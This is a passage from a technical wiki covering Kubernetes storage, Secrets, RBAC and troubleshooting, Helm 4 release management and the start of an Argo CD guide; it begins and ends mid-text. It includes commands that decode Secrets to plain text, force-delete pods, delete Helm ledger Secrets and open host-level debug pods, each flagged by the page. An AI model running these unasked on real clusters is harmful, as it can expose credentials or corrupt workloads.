matchLabels: { app: my-app } } policyTypes: [Ingress, Egress] ingress: - from: - podSelector: { matchLabels: { app: web } } ports: [{ protocol: TCP, port: 8080 }] egress: - to: [{ namespaceSelector: { matchLabels: { kubernetes.io/metadata.name: kube-system } } }] ports: - { protocol: UDP, port: 53 } # without DNS egress, every name lookup fails - { protocol: TCP, port: 53 } ``` ## Storage A PVC is a request, a PV is the volume that satisfies it, and a StorageClass provisions PVs on demand. `volumeBindingMode: WaitForFirstConsumer` delays provisioning until a pod is scheduled, so the volume is created in the same zone as the node. ```sh kubectl get pvc,pv -n my-namespace kubectl get sc kubectl describe pvc data-my-app-0 -n my-namespace # provisioning errors appear as events ``` ```yaml apiVersion: v1 kind: PersistentVolumeClaim metadata: { name: data } spec: accessModes: [ReadWriteOnce] # one node, not one pod storageClassName: gp3 resources: { requests: { storage: 20Gi } } ``` `ReadWriteOnce` allows many pods on the same node to mount the volume. Use `ReadWriteOncePod` when exactly one pod may mount it. Expansion works in place when the StorageClass sets `allowVolumeExpansion: true`; shrinking is not supported. A PVC stuck `Terminating` is still mounted by a pod; the `kubernetes.io/pvc-protection` finalizer holds it until that pod is gone. ## ConfigMaps and Secrets ConfigMaps and Secrets use the same mechanism with different handling. Secret values are base64-encoded in the API (encoding, not encryption), encrypted in etcd only if the cluster configures encryption at rest, and mounted on tmpfs. ```sh kubectl create configmap app-config --from-file=config.yaml --dry-run=client -o yaml > cm.yaml kubectl create secret generic db --from-literal=password="$DB_PASSWORD" --dry-run=client -o yaml > secret.yaml # file holds the value; do not commit it kubectl get secret db -o jsonpath='{.data.password}' | base64 -d # prints the secret to the terminal ``` ```yaml envFrom: - configMapRef: { name: app-config } env: - name: DB_PASSWORD valueFrom: secretKeyRef: { name: db, key: password } volumeMounts: - { name: config, mountPath: /etc/app, readOnly: true } volumes: - name: config configMap: { name: app-config } ``` Mounted ConfigMaps and Secrets update in place after the kubelet sync period plus cache delay, typically within a minute or two. Environment variables and `subPath` mounts never update. Applications that read configuration once need `kubectl rollout restart` after a change. ## RBAC and service accounts Every pod runs as a ServiceAccount. Its short-lived token is projected into the pod and used for API calls. RBAC binds Roles (namespaced) or ClusterRoles to users, groups or ServiceAccounts. Permissions are additive; there is no deny rule. ```sh kubectl auth can-i --list -n my-namespace # my permissions here kubectl auth can-i get secrets -n my-namespace --as system:serviceaccount:my-namespace:my-app kubectl auth whoami # identity the API server sees kubectl get rolebinding,clusterrolebinding -A -o wide | grep my-namespace ``` ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: { name: pod-reader, namespace: my-namespace } rules: - apiGroups: [""] resources: ["pods", "pods/log"] verbs: ["get", "list", "watch"] ``` Set `automountServiceAccountToken: false` on workloads that never call the API. Anything that can read Secrets in a namespace, or create pods there, can obtain every ServiceAccount token in it. ## Troubleshooting ```sh kubectl get events -A --sort-by=.lastTimestamp | tail -30 kubectl describe node node-1 | sed -n '/Conditions:/,/Events:/p' kubectl top node; kubectl top pod -A --sort-by=cpu kubectl get pod my-pod -o jsonpath='{.status.containerStatuses[*].lastState.terminated.reason}' kubectl debug node/node-1 -it --image=busybox # pod in host namespaces; host filesystem at /host; delete the pod afterwards kubectl get --raw='/readyz?verbose' # API server health checks, one line each ``` | Symptom | Likely cause | Check | | --- | --- | --- | | Pods `Pending`, nodes look idle | Requests exceed allocatable, or taints without matching tolerations | `kubectl describe node`, `Allocated resources` section | | Service fails intermittently | Some replicas failing readiness | EndpointSlice membership over time | | DNS slow or failing | CoreDNS unhealthy, or a NetworkPolicy blocking port 53 | `kubectl get pods -n kube-system -l k8s-app=kube-dns`, [DNS](https://www.wiki.jodisand.me/dns/#a-name-that-will-not-resolve) | | `exec` works, `curl` from another pod does not | Process listening on `127.0.0.1` inside the pod | `kubectl exec my-pod -- ss -ltn` | | Changes revert within minutes | A GitOps controller owns the resource | `kubectl get -o yaml`, look for Argo CD or Flux labels and annotations | | Node `NotReady` | kubelet stopped, disk or PID pressure, or CNI failure | Node conditions, then `journalctl -u kubelet` on the node ([systemd](https://www.wiki.jodisand.me/systemd/#a-failing-service)) | | `forbidden` from the API | RBAC missing for that verb, resource or namespace | `kubectl auth can-i --as ` | | Pod restarts with no error in logs | Liveness probe killing a slow container | `kubectl describe pod`, look for `Liveness probe failed` events | ## Oneliners ```sh # Pods not Running or Succeeded, cluster-wide kubectl get pods -A --field-selector 'status.phase!=Running,status.phase!=Succeeded' # Top restart counts (first container of each pod) kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.status.containerStatuses[0].restartCount}{"\n"}{end}' | sort -k3 -nr | head # Every image running in the cluster, deduplicated kubectl get pods -A -o jsonpath='{range .items[*]}{range .spec.containers[*]}{.image}{"\n"}{end}{end}' | sort -u # Requests per pod kubectl get pods -A -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,CPU:.spec.containers[*].resources.requests.cpu,MEM:.spec.containers[*].resources.requests.memory' # Requested versus allocatable on a node kubectl describe node node-1 | awk '/Allocated resources/,/Events/' # Pods on one node kubectl get pods -A -o wide --field-selector spec.nodeName=node-1 # Which pods mount a given Secret as a volume kubectl get pods -A -o json | jq -r '.items[] | select(.spec.volumes[]?.secret.secretName=="db") | "\(.metadata.namespace)/\(.metadata.name)"' # Drain a node for maintenance (evicts pods, respects PodDisruptionBudgets), then allow scheduling again kubectl drain node-1 --ignore-daemonsets --delete-emptydir-data --timeout=5m && kubectl uncordon node-1 # Watch rollouts of every Deployment in a namespace in parallel kubectl get deploy -n my-namespace -o name | xargs -n1 -P0 kubectl rollout status -n my-namespace # Object counts by resource, to find what is filling etcd (metric renamed in v1.34) kubectl get --raw=/metrics | grep -E '^apiserver_(storage|resource)_objects' | sort -t' ' -k2 -nr | head # Copy a file out of a pod without tar in the image kubectl exec my-pod -n my-namespace -- cat /app/report.csv > report.csv ``` Two commands here need care: ```sh # Print every key of a Secret in plain text. Output contains credentials. kubectl get secret db -o go-template='{{range $k,$v := .data}}{{$k}}={{$v|base64decode}}{{"\n"}}{{end}}' ``` > [!WARNING] Force deletion > `kubectl delete pod my-pod --grace-period=0 --force` removes the pod object without waiting for the kubelet to confirm the containers stopped. If the node is only partitioned, the old container can keep running alongside its replacement, which corrupts data for StatefulSets. It does not bypass finalizers; a pod with finalizers stays `Terminating` until they are removed. --- # Helm > Render, install, upgrade and roll back Helm releases, and understand the template and values behaviour behind most chart surprises. Canonical: https://www.wiki.jodisand.me/helm/ Reviewed: 2026-09-24 Related: [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [Argo CD](https://www.wiki.jodisand.me/argocd/index.md), [Git](https://www.wiki.jodisand.me/git/index.md) ## Cheatsheet Commands target Helm 4. Helm 3 differences are noted where they matter. | Task | Command | | --- | --- | | See the YAML before applying | `helm template my-app ./chart -f values.yaml` | | Validate against the live API | `helm upgrade --install my-app ./chart -f values.yaml --dry-run=server` | | Diff against what is installed | `helm diff upgrade my-app ./chart -f values.yaml` (helm-diff plugin) | | Install or upgrade idempotently | `helm upgrade --install my-app ./chart -f values.yaml -n my-namespace` | | Wait for readiness | `helm upgrade --install my-app ./chart --wait --timeout 5m` | | Roll back automatically on failure | `helm upgrade --install my-app ./chart --rollback-on-failure` | | Values actually in effect | `helm get values my-app --all` | | Manifests actually applied | `helm get manifest my-app` | | Release history | `helm history my-app` | | Roll back one revision | `helm rollback my-app` | | Lint a chart | `helm lint ./chart -f values.yaml` | | Resolve dependencies | `helm dependency update ./chart` | | Show a chart's default values | `helm show values oci://registry.example.com/charts/my-app --version 1.2.3` | | Uninstall but keep history | `helm uninstall my-app --keep-history` | ## Render before installing Helm is a template engine plus a release ledger. `helm template` runs the engine locally and prints manifests. `helm install` and `helm upgrade` do the same, send the result to the API server, and record the release in a Secret named `sh.helm.release.v1..v` in the release namespace. ```sh helm template my-app ./chart -f values.yaml | less helm template my-app ./chart -f values.yaml | kubectl apply --dry-run=server -f - helm upgrade --install my-app ./chart -f values.yaml --dry-run=server # output includes Secrets unless --hide-secret helm diff upgrade my-app ./chart -f values.yaml # plugin: databus23/helm-diff ``` `--dry-run=server` sends the manifests through admission, which catches schema errors, webhook rejections and quota problems that local rendering cannot see. It also lets `lookup` read the cluster; with `helm template` or `--dry-run=client`, `lookup` returns an empty map. ## Installing and upgrading releases ```sh helm upgrade --install my-app ./chart \ -n my-namespace --create-namespace \ -f values.yaml -f values.prod.yaml \ --set image.tag=1.4.2 \ --wait --timeout 10m \ --rollback-on-failure ``` Values merge in this order, later winning: chart `values.yaml`, then each `-f` file left to right, then `--set` flags left to right. Maps merge key by key. Lists replace whole, so `--set ingress.hosts[0].host=example.com` discards every other entry in that list. Use `--set-string` to stop `1.10` becoming a float and `true` becoming a boolean. | Helm 4 flag | Helm 3 equivalent | Behaviour | | --- | --- | --- | | `--wait` (same as `--wait=watcher`) | `--wait` | Blocks until resources are ready, using kstatus in Helm 4 | | no `--wait` (`hookOnly`) | no `--wait` | Waits for hooks only, then marks the release deployed | | `--wait=legacy` | `--wait` | The Helm 3 readiness checks | | `--rollback-on-failure` | `--atomic` | Rolls back on failure and turns on `--wait`; `--atomic` still works with a deprecation warning | | `--force-replace` | `--force` | Deletes and recreates resources that fail to update; causes downtime | | `--server-side=auto` (default) | client-side apply only | New releases use server-side apply; upgrades keep the release's previous method | `--rollback-on-failure` suits CI. Leave it off when you need the failed state in the cluster to debug. `--timeout` (default 5m) applies to each wait and hook, not the whole command. With server-side apply, a field owned by another manager (an HPA on `replicas`, a controller on annotations) fails the upgrade with a conflict. Remove the field from the chart, or pass `--force-conflicts` to take ownership. Upgrades do not reuse the previous release's values unless asked. `--reuse-values` merges new overrides into the last release's values and ignores new chart defaults. `--reset-then-reuse-values` starts from the new chart defaults, applies the last release's values, then the overrides; prefer it when a chart version adds keys. ```sh helm list -A # releases and revisions helm get values my-app --all # user values merged with chart defaults helm get manifest my-app | kubectl diff -f - # drift between the release record and the cluster helm status my-app ``` ## Rolling back a release Every revision stores the rendered manifests, so rollback re-applies an earlier snapshot rather than re-rendering the chart. It creates a new revision number. ```sh helm history my-app helm rollback my-app 4 --wait ``` Rollback does not undo side effects. Schema migrations run by hooks, external resources and deleted PVCs stay as they are. ## When a release is stuck A release in `pending-install`, `pending-upgrade`, `pending-rollback` or `uninstalling` means the Helm process exited before writing the final status, usually because it was killed or timed out. The cluster objects are not corrupted; the ledger never received its last write. The error for this state is `another operation (install/upgrade/rollback) is in progress`, even when no Helm process is running. ```sh helm history my-app -n my-namespace # find the last revision with status deployed helm rollback my-app -n my-namespace # usually clears the pending state kubectl get secret -n my-namespace -l owner=helm,name=my-app # the ledger itself ``` > [!WARNING] Deleting a release Secret > `kubectl delete secret sh.helm.release.v1.my-app.v7 -n my-namespace` removes revision 7 from the ledger. It is a last resort when rollback fails. Delete only the pending revision; deleting every revision makes Helm treat the next install as new and fail on the existing objects. ## Writing a chart ```text chart/ Chart.yaml # apiVersion: v2, name, version, appVersion, dependencies values.yaml # defaults, every key documented values.schema.json # optional JSON Schema, validated on install, upgrade, lint and template templates/ _helpers.tpl # named templates: fullname, labels, selectors deployment.yaml NOTES.txt # printed after install ``` ```yaml {{- define "chart.labels" -}} app.kubernetes.io/name: {{ include "chart.name" . }} app.kubernetes.io/instance: {{ .Release.Name }} app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} app.kubernetes.io/managed-by: {{ .Release.Service }} {{- end }} ``` | Template feature | Behaviour | | --- | --- | | `{{-` and `-}}` | Trim whitespace on the left or right; the cause of most YAML indentation failures | | `\| nindent 4` | Newline, then indent the block by 4; use it instead of manual spacing | | `include` vs `template` | `include` returns a string you can pipe to `nindent`; `template` cannot be piped | | `required "msg" .Values.x` | Fail rendering with a readable message instead of producing invalid YAML | | `default` | `{{ .Values.x \| default "y" }}`: empty string, `0`, `false` and `nil` all count as unset | | `toYaml` | Emit a values subtree: `{{- toYaml .Values.resources \| nindent 12 }}` | | `lookup` | Read live cluster state; empty map during `helm template`, client dry-run and in Argo CD | | `.Release.IsUpgrade` | Branch between install and upgrade | | `tpl` | Render a string from values as a template, for user-supplied snippets | | Hooks | `helm.sh/hook: pre-upgrade` on a Job runs it before the release manifests are applied | Selector labels must be stable. `spec.selector.matchLabels` is immutable on Deployments and StatefulSets, so putting `app.kubernetes.io/version` in the selector makes every upgrade that changes the version fail. Charts with `apiVersion: v2` work unchanged in Helm 4. Chart API v3 is experimental and needs `HELM_EXPERIMENTAL_CHART_V3`. ## Chart dependencies ```yaml # Chart.yaml dependencies: - name: postgresql version: "16.x.x" repository: oci://registry.example.com/charts condition: postgresql.enabled ``` ```sh helm dependency update ./chart # resolve ranges, write Chart.lock, download charts/*.tgz helm dependency build ./chart # download exactly what Chart.lock pins ``` Set subchart values under the subchart's name (`postgresql.auth.database`). `global:` is the only key that parent and subcharts all see. Commit `Chart.lock` and run `dependency build` in CI; otherwise builds pick up new upstream versions within the range. For OCI registries, `helm registry login` takes the host name only in Helm 4 (`helm registry login registry.example.com`), not a URL with a path. ## Named templates and helpers `_helpers.tpl` holds named templates. Files starting with `_` are never rendered as manifests, only defined. Names are global across the chart and its subcharts, so prefix them with the chart name to avoid a subchart silently overriding `labels`. ```yaml {{/* templates/_helpers.tpl */}} {{- define "my-app.fullname" -}} {{- if .Values.fullnameOverride }} {{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }} {{- else }} {{- printf "%s-%s" .Release.Name .Chart.Name | trunc 63 | trimSuffix "-" }} # 63 is the DNS label limit {{- end }} {{- end }} {{- define "my-app.selectorLabels" -}} app.kubernetes.io/name: {{ .Chart.Name }} app.kubernetes.io/instance: {{ .Release.Name }} {{- end }} ``` ```yaml # templates/deployment.yaml metadata: name: {{ include "my-app.fullname" . }} labels: {{- include "chart.labels" . | nindent 4 }} spec: selector: matchLabels: {{- include "my-app.selectorLabels" . | nindent 6 }} template: metadata: annotations: checksum/config: {{ include (print $.Template.BasePath "/configmap.yaml") . | sha256sum }} # restart pods when the ConfigMap changes spec: containers: - name: app image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}" env: - name: DB_HOST value: {{ required "database.host is required" .Values.database.host | quote }} args: {{- toYaml .Values.args | nindent 12 }} command: {{ tpl .Values.commandTemplate . | quote }} # values may reference {{ .Release.Name }} ``` Inside `define`, the dot is whatever the caller passed. `include "x" .` passes the full context; `include "x" .Values.foo` passes only that subtree, and `.Release` is then unreachable unless you use `$`, which always refers to the root context. `range` and `with` rebind the dot the same way. The checksum annotation pattern is the standard way to restart pods on configuration change; Helm has no built-in trigger because the Deployment spec does not otherwise change. ## Hooks and tests Hooks are ordinary manifests with a `helm.sh/hook` annotation. Helm applies them at the named phase, waits for Jobs and Pods to finish, and only then continues. A hook resource is not part of the release: `helm uninstall` does not remove it and `helm get manifest` does not list it (`helm get hooks` does). ```yaml apiVersion: batch/v1 kind: Job metadata: name: {{ include "my-app.fullname" . }}-migrate annotations: "helm.sh/hook": pre-upgrade,pre-install "helm.sh/hook-weight": "-5" # lower runs first, string-quoted integer "helm.sh/hook-delete-policy": before-hook-creation,hook-succeeded # keep failed Jobs for kubectl logs spec: backoffLimit: 0 template: spec: restartPolicy: Never containers: - name: migrate image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}" args: ["migrate", "up"] ``` | Hook | Runs | | --- | --- | | `pre-install`, `post-install` | Around the first install of a release | | `pre-upgrade`, `post-upgrade` | Around every upgrade, before and after the manifests are applied | | `pre-delete`, `post-delete` | Around `helm uninstall` | | `pre-rollback`, `post-rollback` | Around `helm rollback` | | `test` | Only on `helm test` | A failing hook fails the release. With the default `before-hook-creation` policy the failed Job stays until the next run, so `kubectl logs job/my-app-migrate` shows why. `--no-hooks` skips them, which is how to upgrade past a migration that has already been applied by hand. Tests are Pods or Jobs with `helm.sh/hook: test` under `templates/tests/`. They run against the installed release and succeed when the container exits 0. ```yaml # templates/tests/connection.yaml apiVersion: v1 kind: Pod metadata: name: {{ include "my-app.fullname" . }}-test annotations: "helm.sh/hook": test "helm.sh/hook-delete-policy": hook-succeeded spec: restartPolicy: Never containers: - name: curl image: curlimages/curl args: ["-fsS", "http://{{ include "my-app.fullname" . }}:{{ .Values.service.port }}/healthz"] ``` ```sh helm test my-app -n my-namespace --logs --timeout 2m # --logs prints the test pod logs before cleanup helm template my-app ./chart --skip-tests # leave tests out of rendered output ``` ## OCI registries Charts push to any OCI registry as an artifact with media type `application/vnd.cncf.helm.chart.content.v1.tar+gzip`. The tag is the chart version; there is no `latest`. Prefer the digest form in CI so a re-pushed version cannot change what installs. ```sh helm registry login registry.example.com -u "$REGISTRY_USER" --password-stdin <<< "$REGISTRY_TOKEN" helm package ./chart --version 1.2.3 --app-version 4.5.6 # writes my-app-1.2.3.tgz helm push my-app-1.2.3.tgz oci://registry.example.com/charts # reference is the repository, no chart name or tag helm pull oci://registry.example.com/charts/my-app --version 1.2.3 --untar helm show chart oci://registry.example.com/charts/my-app --version 1.2.3 helm upgrade --install my-app oci://registry.example.com/charts/my-app@sha256: -n my-namespace helm registry logout registry.example.com ``` Dependencies can point at `oci://` repositories in `Chart.yaml` and `helm dependency update` resolves them with the same login. Classic HTTP repositories still work (`helm repo add`, `helm repo update`, `helm search repo my-app -l`) but need an `index.yaml` refresh before a new version is visible, which is the usual reason a version "does not exist". ## Values schema `values.schema.json` is JSON Schema applied to the final merged `.Values`, so `--set` typos and wrong types in an environment file fail before anything is rendered. Validation runs on `install`, `upgrade`, `lint` and `template`; `--skip-schema-validation` disables it. ```json { "$schema": "https://json-schema.org/draft-07/schema#", "type": "object", "required": ["image"], "properties": { "image": { "type": "object", "required": ["repository"], "properties": { "repository": { "type": "string", "minLength": 1 }, "tag": { "type": "string" } } }, "replicaCount": { "type": "integer", "minimum": 1 }, "resources": { "type": "object" } }, "additionalProperties": false } ``` `additionalProperties: false` at the top level catches misspelt keys such as `replicasCount`, but it also rejects `global` and subchart keys unless you list them. Subcharts validate their own schema against their own subtree. ## Rendering for a target cluster `helm template` has no cluster, so `.Capabilities.APIVersions` contains only the built-in kinds and `.Capabilities.KubeVersion` defaults to the Helm build's Kubernetes version. Charts that branch on `.Capabilities.APIVersions.Has "monitoring.coreos.com/v1"` render differently offline than in the cluster. ```sh helm template my-app ./chart \ --kube-version 1.34.0 \ --api-versions monitoring.coreos.com/v1 \ --api-versions gateway.networking.k8s.io/v1 \ --include-crds \ # CRDs from crds/ are otherwise left out of template output --is-upgrade # sets .Release.IsUpgrade for templates that branch on it ``` CRDs in the `crds/` directory are installed once on `install` and never upgraded; `helm upgrade` skips them silently. Apply CRD changes with `kubectl apply --server-side -f crds/` before upgrading a chart that ships them. Objects annotated `helm.sh/resource-policy: keep` survive `helm uninstall` and are orphaned rather than deleted; the same is true when a template stops rendering them. Use it for PVCs and namespaces the chart creates. ## Helm with GitOps [Argo CD](https://www.wiki.jodisand.me/argocd/) renders charts with `helm template` and applies the output itself, so no release Secret exists and `helm list` shows nothing. Helm hooks are mapped to Argo CD sync hooks, and `lookup` returns empty. Debug with `helm template` locally and `argocd app diff`, not `helm get`. Flux's helm-controller does run real Helm releases, so `helm history` works there. ## Troubleshooting Helm releases | Symptom | Cause | Check | | --- | --- | --- | | `another operation (install/upgrade/rollback) is in progress` | Release left in a `pending-*` state | [When a release is stuck](#when-a-release-is-stuck) | | `cannot patch ... field is immutable` | Selector or other immutable field changed between chart versions | `helm diff upgrade`, then delete and recreate that object deliberately | | `invalid ownership metadata` / `exists and cannot be imported` | Object already exists and was not created by this release | Add `--take-ownership`, or remove the object first | | `conflict with ""` on upgrade | Server-side apply field conflict with another controller | Drop the field from the chart or add `--force-conflicts` | | `` or `nil pointer evaluating` | Template reads a values key that does not exist | `helm get values my-app --all` or the values files, then add `required` or `default` | | `YAML parse error on templates/x.yaml` | Indentation or whitespace trimming wrong | The error names the file and line; render it alone with `helm template ... -s templates/x.yaml` | | Upgrade "succeeds" but pods are broken | No `--wait`, so Helm stopped after applying | Add `--wait`; inspect with `kubectl rollout status` | | Values change ignored on upgrade | `--reuse-values` kept old values, or the key is under the wrong subchart | `helm get values my-app --all` | | `values don't meet the specifications of the schema` | `values.schema.json` rejected an override | Read the path in the error, fix the type | ## Oneliners ```sh # Every release across the cluster, with chart versions helm list -A -o json | jq -r '.[] | [.namespace, .name, .chart, .app_version, .status] | @tsv' # Releases that are not deployed, including failed and pending helm list -A --all -o json | jq -r '.[] | select(.status!="deployed") | [.namespace,.name,.status] | @tsv' # What changed between two revisions diff <(helm get manifest my-app --revision 6) <(helm get manifest my-app --revision 7) # Images a chart would run, without installing helm template my-app ./chart -f values.yaml | grep -E '^\s+image:' | sort -u # Render one template helm template my-app ./chart -s templates/deployment.yaml # Find missing values in rendered output helm template my-app ./chart 2>&1 | grep -n 'nil pointer\|' # Pull a chart to inspect it helm pull oci://registry.example.com/charts/postgresql --version 16.0.0 --untar # Values a release was installed with, as a reusable file (may contain secrets) helm get values my-app -o yaml > values.recovered.yaml # Release ledger Secrets, oldest first (history is capped by --history-max, default 10) kubectl get secret -n my-namespace -l owner=helm --sort-by=.metadata.creationTimestamp ``` Upstream reference: [Helm 4 overview](https://helm.sh/docs/overview/), [chart template guide](https://helm.sh/docs/chart_template_guide/). --- # Argo CD > Diagnose Argo CD Applications that will not sync or stay healthy, and control drift, sync order, pruning and multi-tenant access. Canonical: https://www.wiki.jodisand.me/argocd/ Reviewed: 2026-09-24 Related: [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [Helm](https://www.wiki.jodisand.me/helm/index.md), [Git](https://www.wiki.jodisand.me/git/index.md) ## Cheatsheet Commands target Argo CD 3.x. The `argocd` CLI needs `argocd login` first; the `kubectl` forms work with cluster access alone. | Task | Command | | --- | --- | | Application state and conditions | `argocd app get my-app` | | Live vs desired, field by field | `argocd app diff my-app` | | Sync now | `argocd app sync my-app` | | Preview a sync | `argocd app sync my-app --dry-run` | | Sync one resource | `argocd app sync my-app --resource apps:Deployment:my-app` | | Re-read Git and re-render | `argocd app get my-app --hard-refresh` | | Wait until synced and healthy | `argocd app wait my-app --sync --health --timeout 600` | | Stop a running sync | `argocd app terminate-op my-app` | | History and roll back | `argocd app history my-app`, then `argocd app rollback my-app ` | | What Argo CD rendered | `argocd app manifests my-app --source git` | | What exists in the cluster | `argocd app manifests my-app --source live` | | Delete resources removed from Git | `argocd app sync my-app --prune` | | Application YAML | `kubectl get application my-app -n argocd -o yaml` | | Controller logs | `kubectl logs -n argocd statefulset/argocd-application-controller` | | Render errors | `kubectl logs -n argocd deploy/argocd-repo-server --tail 100` | ## An Application that will not sync Argo CD compares two states: desired (the manifests rendered from Git) and live (what the cluster has). Sync status (`Synced`, `OutOfSync`) is that comparison. Health (`Healthy`, `Progressing`, `Degraded`, `Suspended`, `Missing`, `Unknown`) is a separate assessment of the live objects only. An Application can be `Synced` and `Degraded`, or `OutOfSync` and `Healthy`. ```sh argocd app get my-app # sync, health, conditions, last operation argocd app diff my-app # exact fields that differ; exit 1 when there is a diff argocd app get my-app --hard-refresh # bypass the rendered-manifest cache kubectl get application my-app -n argocd -o jsonpath='{.status.conditions}' | jq kubectl get application my-app -n argocd -o jsonpath='{.status.operationState.message}{"\n"}' kubectl logs -n argocd deploy/argocd-repo-server --tail 100 ``` | Symptom | Cause | Check or fix | | --- | --- | --- | | `ComparisonError` condition | Rendering failed: bad path, missing values file, Helm or Kustomize error | Read the condition message; it quotes the tool's stderr | | `Unknown` sync status, no resources | Repo server cannot fetch the repository: credentials, host key, network | `argocd repo list`, repo-server logs | | `OutOfSync` again straight after a sync | A controller or webhook mutates the object after apply | `argocd app diff`, then `ignoreDifferences` ([Diffing and drift](#diffing-and-drift)) | | Sync finished, app stays `Progressing` | Health check waiting for rollout, a LoadBalancer address, or a custom health script | `argocd app get my-app` shows which resource is `Progressing` | | Sync stuck `Running` | A hook Job never completes, or a wave never becomes healthy | `argocd app get my-app`, then `argocd app terminate-op my-app` | | `metadata.annotations: Too long` | Client-side apply stores the whole object in an annotation; large CRDs exceed 262144 bytes | Add the `ServerSideApply=true` sync option | | Resource `SharedResourceWarning` | Two Applications manage the same object | Remove it from one source | | Deleted objects come back | Deleted by hand and restored by self-heal or the next sync | Delete from Git and sync with prune | | Nothing happens on push | No webhook; polling runs every 120s plus up to 60s jitter | Configure the Git webhook, or `--refresh` | | `permission denied` on sync | AppProject forbids the repository, destination or kind | `argocd proj get ` | | Rollback refused | Automated sync is enabled on the Application | Disable auto-sync first, or revert in Git | > [!NOTE] > The application controller is a StatefulSet in current manifests. If yours runs as a Deployment, use `deploy/argocd-application-controller`. ## Application spec ```yaml apiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: my-app namespace: argocd finalizers: - resources-finalizer.argocd.argoproj.io # deleting the Application deletes its resources spec: project: platform source: repoURL: https://github.com/example/infra.git targetRevision: v1.4.2 # branch, tag or commit SHA path: clusters/prod/my-app helm: valueFiles: [values.yaml, values.prod.yaml] parameters: - { name: image.tag, value: "1.4.2" } destination: server: https://kubernetes.default.svc namespace: my-namespace syncPolicy: automated: prune: true # delete objects removed from Git selfHeal: true # revert manual changes in the cluster allowEmpty: false # refuse to sync to zero resources syncOptions: - CreateNamespace=true - ServerSideApply=true - PruneLast=true # prune after all other resources are healthy retry: limit: 5 backoff: { duration: 15s, factor: 2, maxDuration: 5m } revisionHistoryLimit: 10 ``` Pin `targetRevision` to a tag or SHA for production. With `main`, the next merge deploys itself, which is either the point of GitOps or an incident, depending on the repository. `selfHeal: true` reverts a manual `kubectl edit` within about 5 seconds of the controller noticing it. Check for it before debugging why a change keeps vanishing. Without the `resources-finalizer`, deleting the Application leaves its resources running and unmanaged. Argo CD 3.0 changed defaults that affect upgrades from 2.x: resource tracking uses the `argocd.argoproj.io/tracking-id` annotation instead of a label, `status` fields are ignored in diffs for all resources, and RBAC `update` and `delete` on an Application no longer extend to its resources. See the [3.0 upgrade notes](https://argo-cd.readthedocs.io/en/stable/operator-manual/upgrading/2.14-3.0/). ## Diffing and drift Argo CD diffs rendered manifests against live objects after normalisation. Fields written by other controllers show as permanent drift unless excluded. ```yaml spec: ignoreDifferences: - group: apps kind: Deployment jsonPointers: ["/spec/replicas"] # an HPA owns this - group: "" kind: Secret name: db jqPathExpressions: ['.data["ca.crt"]'] - group: admissionregistration.k8s.io kind: MutatingWebhookConfiguration managedFieldsManagers: [cert-manager-cainjector] # ignore fields this manager owns syncPolicy: syncOptions: - RespectIgnoreDifferences=true # also leave those fields alone during sync ``` `ignoreDifferences` only changes the comparison by default. During sync the full desired manifest is still applied, so an HPA's replica count is reset on every sync. `RespectIgnoreDifferences=true` stops that for resources that already exist. `ServerSideApply=true` hands field ownership to the API server, which is the cleaner fix when several controllers legitimately write to one object and when manifests are too large for client-side apply. ```sh argocd app diff my-app --local ./clusters/prod/my-app # compare a working copy against live argocd app manifests my-app --source git # what Argo CD rendered argocd app manifests my-app --source live # what exists now ``` ## App of apps and ApplicationSets An Application whose source directory contains more Application manifests bootstraps a whole cluster from one object. An ApplicationSet generates Applications from a template and a generator, which avoids writing one file per cluster or per team. ```yaml apiVersion: argoproj.io/v1alpha1 kind: ApplicationSet metadata: { name: tenants, namespace: argocd } spec: goTemplate: true goTemplateOptions: ["missingkey=error"] generators: - git: repoURL: https://github.com/example/infra.git revision: main directories: [{ path: tenants/* }] template: metadata: { name: '{{.path.basename}}' } spec: project: tenants source: { repoURL: https://github.com/example/infra.git, targetRevision: main, path: '{{.path.path}}' } destination: { server: https://kubernetes.default.svc, namespace: '{{.path.basename}}' } syncPolicy: { automated: { prune: true, selfHeal: true } } syncPolicy: applicationsSync: create-update # never delete generated Applications preserveResourcesOnDeletion: true # keep workloads if an Application is deleted ``` Generators include `git` (directories or files), `cluster`, `list`, `matrix`, `merge`, `scmProvider` and `pullRequest`. By default (`sync` policy) a directory removed from Git deletes its Application, and with the resources finalizer, the tenant's workloads. `applicationsSync: create-update` prevents that while a pattern is being trialled. The controller's `--policy` flag overrides this field unless policy override is enabled. ## Sync phases, waves and hooks A sync runs in phases: `PreSync`, `Sync`, `PostSync`, with `SyncFail` on failure. Within a phase, resources are ordered by wave (lowest first, default 0), then by kind (namespaces and CRDs before other resources, custom resources last), then by name. Argo CD applies a wave, waits until it is healthy, pauses 2 seconds (`ARGOCD_SYNC_WAVE_DELAY`), then moves to the next. Pruning runs in reverse wave order. ```yaml metadata: annotations: argocd.argoproj.io/sync-wave: "-1" # before wave 0 ``` ```yaml metadata: annotations: argocd.argoproj.io/hook: PreSync # PreSync, Sync, PostSync, SyncFail, Skip argocd.argoproj.io/hook-delete-policy: HookSucceeded ``` A `PreSync` Job that never completes blocks the sync indefinitely. Give hook Jobs `backoffLimit` and `activeDeadlineSeconds`. Hooks do not run during a selective sync (`--resource`). A PreSync hook runs before the Application's own ConfigMaps and Secrets exist, so give those an earlier wave and make them hooks too if the Job needs them. ## Projects and access An AppProject restricts which repositories, destination clusters and namespaces, and resource kinds its Applications may use. It is the boundary that stops a team's Application from creating a ClusterRoleBinding. ```yaml apiVersion: argoproj.io/v1alpha1 kind: AppProject metadata: { name: tenants, namespace: argocd } spec: sourceRepos: ["https://github.com/example/infra.git"] destinations: - { server: https://kubernetes.default.svc, namespace: "tenant-*" } clusterResourceWhitelist: [] # no cluster-scoped objects namespaceResourceBlacklist: - { group: "", kind: ResourceQuota } ``` The `default` project allows everything. Do not put tenant Applications in it. ## Health checks and custom resources Built-in health checks cover Deployments, StatefulSets, DaemonSets, ReplicaSets, Services, Ingresses, PVCs, Jobs, CronJobs, Pods and HPAs, plus a bundled library of Lua checks for common CRDs. A custom resource with no health check contributes no health status, so a broken CR can leave an Application `Healthy`. The Application's health is the worst 